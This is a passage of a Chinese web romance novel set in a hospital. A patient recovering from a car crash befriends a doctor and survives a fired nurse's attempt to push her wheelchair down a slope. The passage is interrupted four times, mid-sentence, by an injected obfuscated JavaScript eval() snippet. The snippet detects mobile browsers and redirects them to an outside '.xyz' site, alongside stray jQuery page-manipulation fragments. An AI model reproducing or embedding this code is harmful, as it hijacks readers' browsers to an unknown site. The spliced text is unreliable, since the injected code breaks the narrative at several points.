接下来她只要等江玉鸣过来,然后加微信,咦?好兄弟不在,江玉鸣会来不? 邢葵生出几分苦恼,从卫生间扶着墙一瘸一拐地走出,看到有一把轮椅放在墙边,必是厉乘川推过来的,嘛,这个人虽说严肃刻板,但心肠还算过得去。 她坐上轮椅,不用再强撑着腿站,瞬觉轻松,仰头鼓腮呼气,身后的门传来响声,戴着口罩的江玉鸣出现在她眼前。 “江医生!你朋友刚走了,说晚些时候才会回。” “嗯,我知道,我也要走。” “?”你们是要一起去干什么事儿吗? 江玉鸣关上门,双手搭上她的轮椅后背,胸前贴着证件照的名牌一晃一晃,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547366|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓音也像是会晃的水波:“趁他不在,好孩子,能不能告诉我,你要加我是为何啊?” 哦,原来是背着兄弟来的! “我!”邢葵当即起来,想拿出手机加江玉鸣,却忘了她的腿经不起这样快速站立,膝盖一折,整个人向后跌倒。 温暖的手覆上腰间,等反应过来时,江玉鸣已经隔着轮椅,以从后相拥的方式,抱住了她。 消毒水的气息一瞬间侵入邢葵的鼻间,江医生同时用手护住了她的头,没让她二次撞伤。 他比她还懵,邢葵发现他短暂地失去心跳,不过很快他就调整了节奏,信手摸摸她的头安慰:“没伤到哪儿吧?坐,我推你回床。” 反应过重,只会让意外变得尴尬,江玉鸣看似散漫,实则有分寸地化解窘迫,推动轮椅,扶着邢葵上了病床。 邢葵拉拉被子,低着脸,脸颊被热意烘出薄红,虽说方才隔着手,但江医生的胸肌真、真、真不错哇。 江玉鸣也没他表现得自在,他的眼型偏狭长,有一层清晰的双眼皮,浓黑色的睫毛将瞳仁中的情绪半遮半掩。 刚刚……碰到她的腰了。 “所以你要加我微信吗?”邢葵走神走着走着,走回了原先话题,昂起一张脸。 “加了做什么呢?”江玉鸣在口袋中蜷动手指,指腹、指缝、掌心,仿佛还停留刚才的触感,像向日葵,绒毛般柔软,好想掐。 “加了再说嘛。”邢葵羞于启齿,想到厉乘川的话,她是不该在住院期间问江玉鸣那些,即便她不是要和江玉鸣谈恋爱,“等我出院再说。” 江玉鸣垂着眸子看邢葵,她额头的伤处在结痂期,狰狞的疤痕从左额角起,蔓延到右眼皮上方,被细线缝着,仍然张牙舞爪。 很丑,完全破坏了脸的对称,但歧视丑的人才有问题。 差一点点,马路上的石子就会从右眼皮划下,弄瞎她的右眼。这种程度的伤,不照镜子伤者也该有数,却自邢葵住院的第一天,江玉鸣见到邢葵的第一面,她就在积极地笑。 乐观吗?兴许她是乐观的,但车祸第一天的笑,更多的是为了邢母,她必须得笑,才能止住邢母的哭。 这样一个人,让江玉鸣想送她一些朋友,他自身也愿和她结交。 “好哦,加微信,不过——”江玉鸣弯眼,竖起一根手指,“不能告诉厉乘川哦。” 老厉,管太宽了,先瞒着你。 左右我们也不是要偷情,对吧? 江玉鸣摩挲了下指腹,先前的抱……既然厉乘川和邢葵都到要结婚的程度,想来该做的都做过,应该也不会介意他俩意外搂一下吧? 房里剩下邢葵一个人,她点开了江玉鸣的微信,在好友备注描述中,写上:邢葵,记得问他举不举,不举的话考不考虑契约结婚。 8. 第 8 章 隔着手机不用当面讲话,人能喘息,能琢磨措辞。邢葵打算暂时放一放,先从微信了解了解江玉鸣。 他的头像是玫瑰花丛,不知道在哪里拍的,红白二色,混长在一起,也像他这个人,披着白大褂,却艳丽。 他的昵称是“明天没有手术”,好像不爱上班,话说世上很少有人爱上班吧。 他的朋友圈……好的,江玉鸣和她一样不发朋友圈,点开一片空白。 但邢葵如今决定作出改变了,车祸令她认识到人生无常,她想尝试去做以前有过想法但没做的事,删好友、睡帅哥……包括发朋友圈。 朋友圈能记载生活痕迹,她不想在她死后亲戚对她一无所知,只会说一句“可惜了,她还没结婚”。 说干就干,邢葵随手拍了张窗外雪景,尝试发人生第一条朋友圈,兴冲冲,然后手僵在配文框半晌。 配啥字啊?她不是伤春悲秋的人啊?呃……呃……她瞅瞅别人怎么发的。 邢葵退出编辑页面,翻看朋友圈。 第一条,来自嬢嬢,是她妈妈的妹妹:再忙再累,也要好好交保险,年轻人就业已经很困难了,我们不能再给他们造成压力,儿子,加油!(配图:母子合照) 第二条,来自叔叔,是她妈妈的堂兄:请大家动动发财的小手……(转发:sd筹链接) 第三条,来自舅舅,搞不清什么关系反正喊舅舅:清晨是一天伊始,我沐浴着美好的晨曦……(看不下去了肯定是从网上复制的) 邢葵两眼一黑又一黑,最后没有配字,只发了那张拍的窗景图。 行啦,邢葵,你试着发了朋友圈,有在努力突破!很厉害,夸夸! 今日雪下得小,邢葵靠在床头,这种程度的雪不会在地面积累,只会让地面湿滑,不知道今天辉德又会接多少车祸进来的病人,还望他们都能好好活下来。 最近她的手好些了,医生说可以适度做些手部锻炼,她在手机上下载消消乐,一个人寻找乐子。 体力用完,又登上猕猴桃影视,邢葵这些年勤勤恳恳工作,还没完整地追过一部剧,网站首页横幅显示某部剧,叫《见我星辰》,她有点印象。 是近期热剧,玄幻类型,她听已被删掉的朋友讲过,说什么,男三掀桌,男三比男主热度还高,男三超级无敌爆炸帅。 邢葵持怀疑态度,她曾被追星的朋友狠狠骗过,有些人口中的帅是仅粉丝可见的帅! 点开看看就知道真料假料,尊贵的vip特供广告开始播放,一名护士从门外进来:“八号床。” “嗯?”邢葵抬头。 “你准备一下,六点到前面四号楼一楼做核磁共振,带上健康卡。” “不是明天才轮到我吗?”在辉德做核磁共振需要等待好几天,听说以后就不会了,辉德即将再采购一台核磁共振仪。 “前面有人不做了,你记得啊,六点准时到,四号楼一楼,预约单上有教怎么走,带着健康卡。” 手机显示已经五点多了,对别人来说六点到没问题,对腿脚不便的她十分困难。 这事有些突然,邢葵艰难地从床上挪到轮椅上,想去请个临时护工,轮椅是电动的,能自己推,就怕外头有障碍物。 然而外面没看到护工,电梯叮了一声到达,邢葵抿了抿唇,独自推动轮椅进入电梯间。 厅门关上,两名护工从另一间病房探出头。 护工左对护工右道:“你拦我做什么?推一次五十块呢。” 护工右拍他一下,半遮住嘴:“长点心吧,八号床的钱你也敢挣?上回老李想推荐她律师,转头老李就被开了。 小陈你记得不?就那个实习护士,不过就是多扎了她几下,也被开了,人都来医院闹过好几回了。 八号床,简直瘟神!别说五十,五百我也不敢接她的单,五千倒是能考虑考虑……” 邢葵不知为何见不到护工,但没关系,靠天靠地不如靠自己,她小心一点儿应该没事。 只是不管是在电梯里还是电梯外,总有人向她投来异样视线,邢葵低着头看核磁共振预约单上标的路线,努力忽视窥探的目光。 视线存在感过分强烈,写满了“真丑”和“真惨”,邢葵微微攥起纸张一角,等回到病房,她逛某宝买个帽子吧。 轮椅忽地被人按住,年轻姑娘的声音响起:“你去哪儿啊?做核磁共振?我推你去。” 邢葵往后昂头,是个二十四五岁的女生,世上还是好人多啊:“谢谢。”她扬了扬笑。 “不客气,叫我,小陈就好。” “谢谢。”邢葵再次感谢,待会儿要是能碰到自动贩卖机,她得买东西谢谢人家。 做核磁共振的四号楼,和它相邻的楼之间有个阶梯式过道,台阶两旁是方便轮椅、推车通行的斜坡,要是没人推着轮椅,一个人坐轮椅滑下会很危险。 有人帮她可太好了,邢葵放松地靠在椅背上,手按了很久控制器也累了,她松开一些。 “你这双手,很痛吧?” “嗯已经好多了。” “被护士扎针的时候更痛吧?” “嗯确实。”谁被扎针不痛。 “有我被辞退痛吗?” 斜坡前,邢葵倏地抓紧扶手,感觉到一股如针刺般的恶意从头顶扎下,看着斜坡,后背当场寒毛紧竖。 身后的人在战栗:“要不是你表面一套背后一套地举报我,我怎会被开除!以后我都进不了大医院了,以后我只能待在小诊所,你毁了我的人生!” 轮椅的轮子在斜坡边缘颤动,邢葵紧紧盯着斜坡,后背挣扎地往后挪,这个人想要将她从这里推下去! 万盛酒店包间。 “人还没到?在看什么?”厉乘川皱了皱眉头,因为车祸后他还没离开邢葵超过十分钟,心不踏实地跳。 江玉鸣站在旁边,似乎在手机上看什么雪景图,他划得快,厉乘川没瞧清,他也不关心,“联系监控室,让他们看看邢葵状况。” “老厉,看她看太紧了吧,你这样真像会在她家里安装监控的变态。”江玉鸣拿着手机,散漫地走离厉乘川两步,戏谑道,“就连咱们兄弟聚餐,你都要选离辉德近的酒店。” “少废话。” 江玉鸣轻佻地笑笑,手指点了点屏幕,厉乘川看不到的屏幕亮起,页面显示不久前他才和监控室才有过单方面的对话。 【江医生,您放心,我一定将人给你看好。】 【江医生,她在拍照片。】 【她在刷朋友圈。】 【她好像发了朋友圈。】 【她下了消消乐。】 【她在玩消消乐。】 距离最后一条信息才过了几分钟,她这会儿应当还在玩游戏。 辉德医院监控室。 为好好完成上级任务,一瞬不瞬盯着监控的保安成功达成了眼酸结果,和室内其他保安嗑着瓜子打起牌,浑不知身后监控正上演着怎样惊悚一幕。 辉德医院四号楼前,人来人往,没一个注意到邢葵危险。 她掐紧扶手,指甲都快将扶手表皮掐破,脑子里警铃疯狂地响,震得就像蜜蜂飞行中的翅膀。 椅轮踩在了斜坡边线,只要身后人轻轻一推,她就会完蛋。 刚经历过车祸的骨骼经不起再次跌摔,说不定会骨折,会巨痛。 冷静啊邢葵!你得冷静!硬件受损,邢葵没法儿条理清晰,她好想锤一锤混沌的脑子,又怕手一离开扶手,她就会无所依傍地飞出去。 清醒点邢葵!你不清醒谁能救你?邢葵奋力掐手指,在脑子里用上“首先”、“然后”这样用于梳理连接的词,强行在混沌中寻找逻辑。 首先,对方说,被辞退、举报、大医院、小诊所——对方是她进医院时给她扎针的护士,因为过错被辞退,但误怪到她身上。 然后,对方很生她的气,想报复她——医院有应对险情的保安,只要她能先稳住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547367|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方,拖延时间,他们会赶到的。 最后,远水解不了近渴,保安要是来不及或者靠不住——周围有没有她能求救的人? 以及,她怎么稳住对方,对方情绪激动,她否认举报反而会将其激怒—— 今天玩过的消消乐关卡闪现在脑里,一次消除可能引起一整盘的消除,想要达成那样,需要找到一整盘的核心,也就是小陈一切情绪行为的支撑点。 是什么支撑她愤怒?是什么支撑她报复?大医院、小诊所……大、小……小陈在意的是她的前途。 “你在这里把我推下去,你的人生会更糟。”邢葵抓紧扶手,嘴唇发抖,可脱口的声音坚定,“你现在还能进小诊所,但你把我推下去,你会进监狱。” 轮椅紧压边缘线,小陈迟疑害怕。 “为了我,你要进监狱,你觉得值吗?” 邢葵抠了抠扶手,她也在恐惧,可她逼着自己不被恐惧左右,边说边观察着周围来来往往的人。 有没有人,能够做到制服小陈的同时,拉住她下滚的轮椅……侧前方十米处有个男生,戴着鸭舌帽,个子很高,貌似正在向导医问路。 有希望!他转向了她的方向! “进了监狱,你的人生会彻底崩毁。”邢葵严肃口吻,“以后你连小诊所都进不去,你的父母会怎么看你?你想好了接受这样的未来吗?” “不、不。”身后人无措地低喃,轮椅也极轻微地向后移了移。 小陈更加畏怯,她光有贼心没贼胆,听邢葵这么一说,对可能迎来的后果惶惑不安。 “我可以帮你。”邢葵放软语气,“你拉我回去,我会当这件事没发生,你还年轻,只是误入迷途,我保证,即使有人发现了,我也会为你求情,不会让你留下案底。” 啊啊啊那个男生,你别走过去啊!邢葵险些叫出来,强压着情绪,和小陈柔声柔气。 事实上,她每一寸肌肉都紧紧绷着,戴鸭舌帽的高大男生走过了她身边,四周没比他看着更有力气的人了,她只能期待保安看到了监控,并且还从监控意识到她有危险。 “喂。”介于少年和成熟男性之间的嗓音响起,一只小麦色的手按住小陈的肩,随即,矫健的手臂迅猛锁住小陈的脖子,将人甩进楼内。 轮椅失去拉着的人,圆轮刹那滑过斜坡边缘线,邢葵悚然,又很快连人带椅被拉了回去。 “没事吧?”是那名戴帽子的男生,帽檐下面是一张凌厉的脸,小麦色,浓眉大眼,看上去二十岁左右,像大学生,浑身一股摄人的校霸气质。 他居然一只手就控住了轮椅,军绿色棉服袖子上移,露出来的一截小臂线条分明,极具力量感。 安全了!在生死边缘游走一遭的邢葵仰着头看着男生,弯眼绽开笑,苍白,又甜,好像小蛋糕。 男生盯着,僵硬地移开眼,耳朵通红。 保安到了,控住小陈。那名和江玉鸣汇报的保安队长都要哭了,他看邢葵一直在玩消消乐,就去打了几把扑克牌,谁知道会在这期间出幺蛾子。 江医生特意叮嘱过要注意小陈,保安队长打出一张鬼牌,偏过脸瞅见监控的那一刻差点吓疯,带着人从监控室狂奔过来,好在有热心人襄助,没真出大事。 “您没伤到哪儿吧?”队长毕恭毕敬地问。 如此冲突,走来走去的人群全都投来关注,邢葵感觉额头伤口被盯得发烫,手落到腿上,默默低下头:“我没事。” 黑色的阴影遮住落到手上的光,一只帽子盖到她头上,挡住她额头狰狞的伤。 是那个小麦色皮肤的校霸男大,他将鸭舌帽盖到她头上,还不客气地压了压帽檐。 “已经报警了。”队长道。 “八号床!”小陈被两名保安一左一右控制,剧烈挣扎,冲邢葵嘶吼,“你说过要帮我求情的!我不能进警局!” 邢葵看向她,抠了抠手指:“我没……那么诚实,你得为你犯的错付出代价。” 9. 第 9 章 做完核磁共振,邢葵从室内推着轮椅出来,救了她一命的男生坐在走廊的椅子上,张手、捏拳,手腕的筋一鼓一鼓。 脱下鸭舌帽,更能瞧清他的长相,完全符合热血漫中校霸风格男主形象,留着短发,不是寸头那种,发丝凌乱,长手长腿,即使安静坐着都在释放荷尔蒙。 据男生说,他对肌肉变化很敏锐,因此才发现了她面临危险。 他在等她一起做笔录,因为邢葵特殊的身体状况,笔录会在医院内进行。 邢葵捏着放在腿上的帽子,怎么还他啊,帽子被她戴过了,而她头上有伤,这几天都没洗头,虽然也不算脏,可万一人家介意。 “你也有洁癖?”这时,男生撩起眼皮望来,睫毛下的瞳孔呈现深褐色,应该不是在凶,然而结合他的脸和嗓音,就是给人一种很凶很不好惹的感觉。 邢葵有一丢丢怕,他在说什么?洁癖?他貌似盯着她摘到腿上的帽子:“误会了,帽子上有金属,做核磁共振不能戴,我就取了下来,不是嫌弃你。” 她急忙解释,想到他说的“也”字,“是你有洁癖吗?那——” “不是,我才没那么麻烦。”男生迈腿,几乎是以跳的动作站起来,“还好你不洁癖,不然我以为我要向你出示体检报告。” “?”邢葵好像听懂了,但她有点怀疑她是不是理解错了,“洁癖能洁癖到要别人的体检报告?” “能啊,我兄弟就是,和他同桌吃饭,全桌所有人都要先拿出体检报告,我今天就是要和他吃饭。” 惊呆,所以男生才会出现在医院。 什么兄弟能洁癖到这种程度啊! 邢葵想到她的病友厉乘川,还好还好,病友不是那种极端洁癖,否则她跟他住一间房岂不是要天天抽血化验! “到现在就我们两个人,周镜没到,许野也没到……”万盛酒店,厉乘川反复看时间,等得有些不耐烦。 “许野做体检去了吧,谁让你要求多,连许野的身体素质都不信任。”江玉鸣散漫地坐在桌旁,撑着下巴,显得混不吝。 他一勾唇,“老厉,说真的我很好奇,邢葵失忆前是怎么忍得你,难道你俩做的时候,你也要她先拿体检报告吗?” “……”没做过,还是处男,闭上你的嘴。 厉乘川脸臭成黑炭,冷冷睨了一眼江玉鸣,示意他少打听他的私事。 江玉鸣当看不懂,还自顾自地点点头:“我明白了,邢葵之所以忘了你,可能就是跟你做得不开心。” “江玉鸣!”厉乘川额角爆出青筋,没做过,谁知道会不会开心!必须会开心!他憋下从心底涌现的怒气,高傲冷笑,“你懂什么,你又没做过。” “……”做过了不起?全群都是处。 江玉鸣搭在下颌的大拇指微紧,掐了掐皮肉,忽然发觉他话多了,邢葵和厉乘川在一起开不开心关他何事,不开心他还能去拆散他们吗? 他不是这种人。 爱看戏的人可不想自陷戏中,之前邢葵发了朋友圈,江玉鸣都没点赞,就是避免以后厉乘川看见误会。 再次点进邢葵朋友圈,江玉鸣随意扫了一眼,瞥见一个眼熟的点赞,瞳孔微缩,朋友圈会显示共同好友的点赞。 不,许野怎么在撬他的,不是,怎么在撬厉乘川的墙角? 医院。男生身健力壮,说话又凶,和他交流了几句,邢葵就心惊胆颤了几句。 “戴上帽子,去做笔录,我赶时间。”男生如同矫健的猎豹,两步迈到她后面推轮椅。 邢葵可不敢拒绝一个充满力量、随随便便就能打爆她的人,立马提起鸭舌帽,压上头顶,偏大的帽子后的调节扣压着脖颈,很扎。 一股热量贴近后颈,吓得她寒毛直竖。 调节扣松开,原来是男生好意替她调节,她受伤的手臂抬不起来,没法独立做。 清楚了情况,邢葵还是害怕,男生似乎意识到了,动作很快。 小麦色的长指碰过后颈竖起的小绒毛,能看到颈部肌肤白皙如奶油,男生捏着调节扣,喉结动动,两只耳朵红透,松开手,调节好了。 他轻轻松松推动轮椅,因为她,他体检没做完,估计赶不上和厉哥他们吃饭了,不过厉哥不会介意吧,他可能碰上人生初恋了。 许野低着深褐色的眸子看邢葵,纯情得耳廓通红,先前,他在做体检项目过程中向导医问路,她在台阶上向他投来视线。 那是一种渴望她是他路途终点的眼神,穿梭茫茫人海,滚烫又深刻。 笔录结束,邢葵主动向男生讨要微信,边道谢边表示,以后她会还他个新帽子。 “许野。”许野站在她的正面,冷不丁地爆出姓名,许野,名字和人一样野性勃勃。 邢葵怀疑他有一米九,人影像座山投到她身上:“噢噢,知道啦。”她低头改备注,删掉昵称“run”,输进真名“许野”。 抬头撞见男生深褐色的瞳仁盯着她,她眨了下眼,“呃,拜拜?” 她不告诉他她的名字吗?许野唇抿成一条线,嘴角下垂,想问她的名字,没问过女生的名字,说不出口,燥意熏腾脸颊,颧骨都泛起红。 “我走了。”邢葵迅速转动轮椅,妈妈!他看着好像要打人! 别走啊——许野伸手,人已经开着电动轮椅蹿出去了,他收手挠了挠头,小麦色的皮肤上聚起的红霞难散。 点开邢葵微信,看到她今天发过朋友圈,许野双手捧着手机,想也不想地按了个赞。 不明所以的江玉鸣盯着许野的点赞。 “你看什么?” “没什么。”江玉鸣息屏手机,“医院的事。说来,老厉,你当真要让周镜接邢葵的案子吗?” 今日是兄弟聚餐,但厉乘川之所以愿意来是另有目的。 周镜,他们从小相识的朋友之一,top级别律师,近期刚结束一场涉案金额超十五亿的金融案回国,让他来负责邢葵的交通事故案,实属大材小用。 而且,“周镜是怎样的人你比我更清楚,计划永远在行动之前,他能回国,必然已经安排好了接下来的工作,且不会由人打乱。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547368|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “谁要打乱我的计划?”门推开,最近大放光彩的天才律师走了进来,不疾不徐解开缠在脖颈的灰色羊毛围巾,中指提了提金丝眼镜,温和询问。 系在他手腕上的表盘显示,十八点整,距离约好的聚餐时间,一分不早,一分不晚。 金丝眼镜后的眼睛和平地转向厉乘川,“体检报告电子版我发到群里了。” 从进入包厢起,周镜只说了两句话,两句话语气都是温文尔雅的,看起来很好说话,但厉乘川和江玉鸣都明白,当周镜听到厉乘川的目的,他也只会礼貌但不容商量地拒绝。 厉乘川和周镜要如何聊邢葵的案子,江玉鸣懒得听,他走到窗户前,给邢葵点赞的人,头像是深红色塑胶跑道,他和许野的头像对比,没错,点赞人就是许野。 许野怎么会有邢葵微信? 江玉鸣思索着,许野还在上学,以他的年龄不该和邢葵存在交集。 今天许野应该去了医院做体检,莫非是这样认识的邢葵?可是邢葵今日没有检查要做,人好好待在病房里怎会遇到许野? 几个呼吸的功夫,江玉鸣锁住眉,脸上痞气收敛,手指点了点唇,心率不稳地转头。 厉乘川和周镜正在僵持,江玉鸣张唇,还未发出声音,他的手机先一步作响敲碎室内寂静,来电显示“监控室”。 “江医生,那、那个,八号床出、出了点儿事。” 医院内部的小超市前,邢葵面对着保安队长讨好的笑容,揉了揉后颈。 难得下来一趟,和许野告别后,她来了超市买吃的,途中被保安队长寻到,对方殷勤地跟在她周围,又是帮她提东西,又是变着法子称赞她,什么机智、勇敢,听得她都不好意思了。 最后队长道,能不能帮他在江医生那儿求求情。 她就知道命运的任何馈赠都标好了价格!“放心吧,你就是失误,顶多扣两天工资,怕江医生干嘛,他就一个医生。” 人家是辉德医院未来的主子啊! 保安队长不敢多嘴,帮邢葵提着购物袋,兢兢业业地推轮椅,不过,虽说他有意讨好邢葵,夸她的话都出自真心实意。 正常人遭遇歹徒都少有冷静,何况她还是个脑损伤患者,真了不得。 轮椅来到病房所在楼层,邢葵还没开门,门就从内部被打开:“厉乘川,你回来了呃——” 黑色的西装落到眼前,一片炙热将她包裹,邢葵下巴埋在厉乘川肩头,懵懵的,犹如突然照到阳光的向日葵,反应不过来。 她想起许野说的他的洁癖兄弟,她的病友厉乘川就没那么极端洁癖,还会搂搂抱抱,可怕得很。 太没分寸感了!!! 邢葵挤出来,手臂横到胸前摆叉。 “看来她没事。”江玉鸣走过来,按上厉乘川的肩,冲邢葵笑,“他脑子有病,你能理解吧?” 邢葵想了想,点了点头,有病的脑子是有可能放大情绪,有时候她也控制不住自己。 刚刚差点想摸摸厉乘川的胸,看看和江玉鸣的比哪个触感更好,嘿嘿。 10. 第 10 章 深吸了几下病房里弥漫消毒水气味的空气,邢葵拼命给脑子消毒,紧抿着嘴,以防将大胆的想法说出来。 保安推着她的轮椅来到病床旁,她撑着扶手站起,坐到床边,慢吞吞挪腿上榻。 厉乘川好几次想搭手帮忙,但他怕忍不住将邢葵塞进怀里,他就离开医院一阵,险些再次失去她!听到消息时天旋地转,到现在心跳都在失常。 踢了一脚江玉鸣:你去。 江玉鸣:你的未婚妻你要我帮? 厉乘川:别人粗手粗脚的我不放心。 令厉乘川放心的好兄弟,江玉鸣懒散地扬眉,状似是因为兄弟委托,才不情不愿穿过他,靠近床边。 毫无疑问,今天邢葵的手部锻炼和大脑运动都超了额,腿也无力,轻松就能控住,江玉鸣在她腿边,捞过她一只腿的膝弯,微微抬起来,眼皮撩起,狭长的眸子盯着她。 这个动作是不是有点涩啊?邢葵小腿肌肉下意识一绷。 啊啊啊小腿肌肉你个不争气的谁让你绷了,啊啊啊你碰到江医生手了快软回去! 江玉鸣感受到了,垂了下眼望了望,病号服的裤子薄,绷起的肌肉顶着他的手,很明显,且越看越明显。 好啊,小葵花,在乱想是吧? 返回医院的路上,江玉鸣已经了解了事件全貌,邢葵撑着浑浊的大脑稳定对方,实属不易,她辛苦了,走走神,转移注意力,放下白天发生的事是好事。 何况自认不是好东西的江玉鸣脑子里也不干净。他抬着邢葵膝弯,也觉得这个动作很有意思。 可进可退,进可以进,退的话,就邢葵这身子板,他随便一拽她就能坐到他腰间。 “快点!” 噢,差点忘了厉乘川还在旁边看着。 江玉鸣将邢葵的腿放到床上,给她盖上被子。 “谢谢你啊。”邢葵提了提被子,看向江玉鸣,“我听保安说,你特意嘱咐了他要保护我。” 厉乘川皱眉,他怎么不知道这回事? 探询的视线投向江玉鸣,江玉鸣从容不迫,可能是他让他去问监控的时候,替他吩咐的吧。 再怎样,唯爱超模的好兄弟都不可能对邢葵感兴趣。 邢葵想吃点甜的,用糖分驱走命悬一线的糟糕回忆,后背靠到床头,冷汗曾浸湿她的衣衫,如今已经干了。 保安将她在超市买的东西放到她身边,她从袋子里取出一杯果冻,拿着带锯齿的勺子尝试划开果冻碗表面塑料膜。 今天成功活下来了,没让妈妈再伤心一次,做得很好,也值得奖励。 手没力气,要她独自弄开果冻包装有点困难。 “我来?”三道重叠的询问响起。 邢葵抬眼,看着厉乘川、江玉鸣和保安队长。 江玉鸣睨向保安队长,厉乘川睨向江玉鸣,保安队长一颤一颤:“您们来?” 们?一夫一妻制的社会,可没有“们”的道理。 江玉鸣先让了步,成功拿到果冻的厉乘川怕脏,先拿去卫生间清洗。 “……”这辈子第一次看到拆果冻前要先洗果冻的人!邢葵费解地歪了歪头,得亏她买的不是摇摇冻,纸质的包装咋洗。 她又从购物袋取出三杯果冻,一杯放到床头柜,送厉乘川,要洗他自己洗。 另外两杯递给江玉鸣和保安队长。 保安队长受宠若惊,接过蜜桃味的果冻,连连道谢。 江玉鸣漫不经心地蹭着手里的什锦味果冻,扫了眼床头柜,也是蜜桃味。 “和我换一下,我不爱什锦。” 保安队长:“啊可是……太好了,我正好也不爱水蜜桃,给您。” 他女儿喜欢水蜜桃啊!他想带回家送女儿啊呜呜! 江玉鸣眯着眼接过,眼睛笑的弧度让保安队长想起他热爱二次元的女儿常挂在嘴边的一句话:眯眯眼都是怪物! 惹不起,溜了溜了。 “这个不能吃。”站在床边的江玉鸣拨了下购物袋,全是邢葵在超市买的零食,速溶奶茶、鱿鱼丝、巧克力……他逐一拿出,微笑脸,“没收了。” “什么?”邢葵着急,一手逮住他的手腕,另一只手竖起一根手指,“我就吃一点。” “不可以哦。”为了她的身体着想,江玉鸣把她现在不适合吃的都取出来。 最后一样——邢葵两只手握住他的手腕,可怜巴巴:“魔芋爽也不可以吗?网上都说它是健康零食,不信你搜!” “不可以哦。”江玉鸣无情抽手,“太辣了,不许吃。” 怎么这样!夺我魔芋爽,此仇不共戴天!眼睁睁看着最后的魔芋爽进了江玉鸣口袋,邢葵颓废得肩膀松垮。 “等你康复,我还你,十倍。” 声音落进耳朵,邢葵双肩一抬,眸子也如灯点亮,妈妈,是好人! 可真乖啊,被拿走了一大半零食也没闹,说了会还但还没真的还就被哄好了。 江玉鸣单手插兜,不自觉地将手腕靠向肋骨位置,刚才邢葵握他手腕的手,凉得如冬季的大理石。他不用想也知道,这个身体不适的人,不会将今天经历的危险告诉母亲。 洗完果冻的厉乘川出来,扯了张纸巾擦干果冻上的水,邢葵目不转睛,盯着厉乘川处理用于封装的塑料膜。 响动的手机吸引她的注意,是邢母打来了视频通话。 人在遇到糟心事后,会习惯性地向依赖的母亲倾诉,邢葵不敢见邢母,她怕压不住倾诉欲,平白叫妈妈担心,转到语音通话模式才接起来。 “咋看不到你人呢?我不是打的视频?”邢母用的方言,听得很亲切。 “我调成语音了。”邢葵边说边笑,用说笑的语气掩盖真实情绪,“视频干嘛,看到头上的伤我不伤心吗?” “德性,让妈妈看看怎么了?最近还好吧?” “嗯,都挺好的。” “嗯,那就好,本来就没什么事,你哦,从小疮疤当疖子害。” 邢葵笑容微僵,这话是她家乡的方言,骂人用的,指把小病当大病,自己把自己看得多金贵。 “你嬢嬢说她在朋友圈给你评论,你没回,是不是真的?赶紧回一下,待在医院能有什么事忙啊,不要不懂礼貌。” 挂断电话,邢葵拿过厉乘川手中才拆了个口的果冻,扯扯笑:“我出去吃。” 怎么了? 她通话音量开得小,加上邢母全程讲的方言,房间里的其他人并没听出什么。 楼梯间门关上,邢葵抓着扶手,慢慢从轮椅移到台阶,两腿钻心地疼痛,在冰冷的光线中,一个人点亮手机,点开朋友圈,给嬢嬢回复。 回完,她捧着碗状的果冻,沿着厉乘川拆开的口继续拆。 手好疼,拆不动。 果冻配的勺子是廉价的、几近透明的塑料折叠勺,一用力,便弯曲。 电话不合时宜地响起,侵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547369|171200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入她一个人的世界,邢葵接起来,蹦出喉咙的声音是软绵绵的哭腔:“喂。” 周镜家中,书房,书桌前,柔和的黄色灯光照着桌面。 大衣挂在一旁架上,周镜只穿了一件深灰色衬衫,捏着眉心,金丝眼镜上,好看的眉微微皱着。 厉乘川为让他接一桩交通事故案,竟从他的妹妹下手,周梨性子偏执,混迹娱乐圈,想要得到厉家控股的珠宝品牌代言,和他歇斯底里。 离开万盛后,他的手机、微信,甚至事务所的座机,近乎被周梨轰炸,再让周梨这么闹下去,往后他的工作安排会彻底乱掉。 手机屏幕再一次跳出周梨来电,周镜头疼不已,来电一停,迅速按出一串数字。 他听厉乘川说,是他的结婚对象出了车祸,这位陌生的未婚妻还真是有能耐,不仅让厉乘川甘愿走进婚姻坟墓,还愿为她做到如此地步。 